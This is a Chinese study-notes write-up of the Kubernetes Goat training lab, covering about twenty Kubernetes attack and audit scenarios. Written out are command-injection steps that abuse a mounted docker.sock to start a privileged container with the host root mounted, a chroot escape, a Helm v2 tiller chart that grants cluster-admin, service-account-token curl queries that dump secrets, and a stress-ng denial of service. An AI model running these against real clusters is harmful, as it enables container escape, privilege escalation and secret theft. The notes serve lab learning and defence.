学习K8S中常见的21种攻击方式
前言
学习笔记-请勿当真。
如有错误-也很正常。
练习地址
https://katacoda.com/madhuakula/scenarios/kubernetes-goat官方提供了在线环境和WriteUp，简直太棒了！或者自己本地跑也可以。
靶场架构
K8S常见漏洞学习
敏感信息泄露
CI/CD的意思就是DevOps中的持续集成/持续开发，比如Jenkins、Gitlab、阿里云的云效等平台。
这里存在git泄露git泄露除了能拿到源码，还能拿到git记录。提示存储了环境变量，ak可能在里面。拿到flag
另外一种方法是使用数据分析工具truffleHog
pip install truffleHog
DIND (docker-in-docker) exploitation
-docker逃逸 参考https://cloud.tencent.com/developer/article/1676154
挂载docker.sock导致容器逃逸https://github.com/Metarget/metarget/tree/master/writeups\_cnv/mount-docker-sock
Docker Socket是Docker守护进程监听的Unix域套接字，用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件（/var/run/docker.sock），可通过Docker Socket与Docker守护进程通信，发送命令创建并运行一个新的容器，将宿主机的根目录挂载到新创建的容器内部，完成简单逃逸。
老CTF了，命令注入。通过信息收集发现本地挂载了docker.sock
exploit 靶场里没docker，需要下载一个二进制包。
-
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz -
;tar -xvzf /tmp/docker-19.03.9.tgz-C /tmp/ -
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps -
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
这里无法交互式 交互式的情况下利用步骤
-
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu -
先将源替换为中科大源 -
sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g'/etc/apt/sources.list -
apt update&& apt install -y wget -
然后下载编译好的docker 客户端 -
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz -
tar xf ./docker-17.03.0-ce.tgz -
cd /docker -
./docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash -
这里也可反弹shell
在线工具https://redtools.redteaming.net/
SSRF in K8S world
通过ssrf获得元数据进行深入利用。
pod部署的时候5000端口常用来做转发，也可以扫描其他端口，寻找敏感信息。
flag在http://metadata-db/latest/secrets/kubernetes-goat
Container escape to access the host system
场景用户把物理机的路径挂载到了容器内。
将这个目录设置为root目录就能逃逸。chroot host-system/ bashenv拿到flag
Docker CIS Benchmarks analysis安全检查
详情见原文https://madhuakula.com/kubernetes-goat/scenarios/scenario-5.html#docker-cis-benchmarks-analysis
Kubernetes CIS Benchmarks analysis
https://madhuakula.com/kubernetes-goat/scenarios/scenario-6.html
Docker Registry API未授权访问
容器注册表是推送所有容器镜像的地方。大多数情况下，每个组织单位都有自己的私有注册表。有时会被用户配置成public。另一方面，假设开发人员将他们的所有敏感信息都存储在容器映像中。让我们看看我们能在这里找到什么。
Docker Remote API未授权访问
https://askding.github.io/Kali/Exploit/Docker.html
NodePort 服务
暴露https://madhuakula.com/kubernetes-goat/scenarios/scenario-8.html
-
如果任何用户使用 NodePort暴露了 Kubernetes集群中的任何服务，这意味着运行 Kubernetes集群的节点没有启用任何防火墙。我们能看到一些未经身份验证和未经授权的服务。 -
要开始使用该场景，请运行以下命令并查找 Kubernetes节点中的开放端口 -
kubectl get nodes -o wide
当 Kubernetes 创建一个 NodePort 服务时，它会从定义 Kubernetes 集群的标志中指定的范围内分配一个端口。（默认情况下，这些端口范围为 30000-32767。）
用masscan扫描这些ip的端口即可， 30000-3276
Helm v2 tiller to PwN the cluster
Helm是 Kubernetes的包管理器。这就像 Ubuntu的 apt-get。在这种情况下，我们将看到旧版本的 helm（版本 2）、tiller 服务 RBAC 默认设置以获取对完整集群的访问权限。
要开始使用该场景，请运行以下命令
kubectl run --rm --restart=Never-it --image=madhuakula/k8s-goat-helm-tiller -- bash
-
默认情况下，helm 2 的部署完成后，用户具有完整集群管理员权限的 RBAC
-
所以默认安装在 kube-system 命名空间中，服务名称为 Tiller-deploy，端口 44134 暴露在 0.0.0.0。所以我们可以通过运行 telnet 命令来验证。
现在，我们可以连接到tiller服务端口。我们可以使用 helm 二进制文件来执行操作并与tiller服务建立连接。
helm --host tiller-deploy.kube-system:44134 version
然后我们可以创建自己的 helm chart 来授予默认服务帐户拥有完整的集群管理员访问权限，因为默认情况下，当前 pod 部署在具有默认服务帐户的默认命名空间中。
helm --host tiller-deploy.kube-system:44134 install --name pwnchart /pwnchart
现在 pwchart 部署成功，它已授予所有默认服务帐户拥有集群管理员访问权限。因此，让我们尝试获取 kube-system namespace中的secrets。
kubectl get secrets -n kube-system
这种情况会改变tiller部署的方式，有时,管理员将tiller部署到具有特定权限的特定命名空间。同样从 Helm 3 开始，没有tiller服务来缓解此类漏洞
Analysing crypto miner container
我的理解是分析容器中有没有挖矿脚本。https://madhuakula.com/kubernetes-goat/scenarios/scenario-10.html#analysing-crypto-miner-container
Kubernetes Namespaces bypass
默认情况下，k8s内部的namespace可以相互访问，正常步骤扫描渗透即可。admin/admin
信息收集
CDK一把梭。
资源DOS攻击
Kubernete smanifests中没有资源规范，也没有为容器应用限制其范围。作为攻击者，我们可以消耗 pod/deployment 运行的所有资源，并使其他资源匮乏，并导致环境发生 DoS。
使用压测神器stress-ng 进行攻击。
stress-ng --vm 2--vm-bytes 2G--timeout 30s
然后内存爆炸想起来以前打awd想办法让自己机器关机的时候。。
Hacker Container preview
hacker-container是一个辅助渗透的容器，里面有一些工具。
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
Hidden in layers
分析正在运行的容器，寻找敏感信息。
-
kubectl get jobs -
docker inspect madhuakula/k8s-goat-hidden-in-layers
在没有dockerfile的情况下，分析容器是如何构建的。
Method 1 (docker history)
docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers
Method 2 (generates dockerfile from image)
-
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" -
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers
Method 3 (using dive)
RBAC 最低权限配置错误
我们经常看到，开发人员和 DevOps 团队喜欢设置高权限。在这种情况下，您可以利用绑定到 pod 的 serviceaccount 来提供 webhookapikey 访问，攻击者可以获得对其他机密和资源的控制。访问 vaultapikey secret flag。
由于 Kubernetes 将所有secret、令牌和服务帐户信息存储在默认位置，因此可以试试查找有用信息。现在我们可以使用这些信息来查询并与具有令牌可用权限和特权的 Kubernetes API 服务绘画
- 先指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
- set ServiceAccount token
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
- 读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
- read the ServiceAccount bearer token
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
- 在 CURL 请求中查询时指向要使用的 CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
- 现在我们可以使用令牌和构造的查询来探索 Kubernetes API
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}"-X GET ${APISERVER}/api
- 查询默认命名空间中的可用secret
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}"-X GET ${APISERVER}/api/v1/secrets
- 查询特定于命名空间的secret
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}"-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
- 查询特定命名空间中的 pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}"-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
API可以增删改查，详情请翻文档。
- Get the k8svaulapikey
-
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}"-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey -
echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U="| base64 -d
KubeAudit - Audit Kubernetes Clusters
类似于CDK，自动化审计工具https://github.com/Shopify/kubeaudit
Sysdig Falco - Runtime Security Monitoring & Detection
此场景为部署容器和kubernetes资源的运行时安全监控和检测。
https://madhuakula.com/kubernetes-goat/scenarios/scenario-18.html
Popeye - A Kubernetes Cluster Sanitizer
该场景主要是通过扫描实时Kubernetes集群来对Kubernetes集群进行审计，并报告部署的资源和配置的潜在问题。
kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never-it --image=madhuakula/hacker-container -- bash
Secure network boundaries using NSP
这个场景是为 kubernetes 资源部署一个简单的网络安全策略来创建安全边界。
使用下面这个项目来对k8s设计出一套网络隔离方案。https://github.com/ahmetb/kubernetes-network-policy-recipes细节请看https://madhuakula.com/kubernetes-goat/scenarios/scenario-20.html
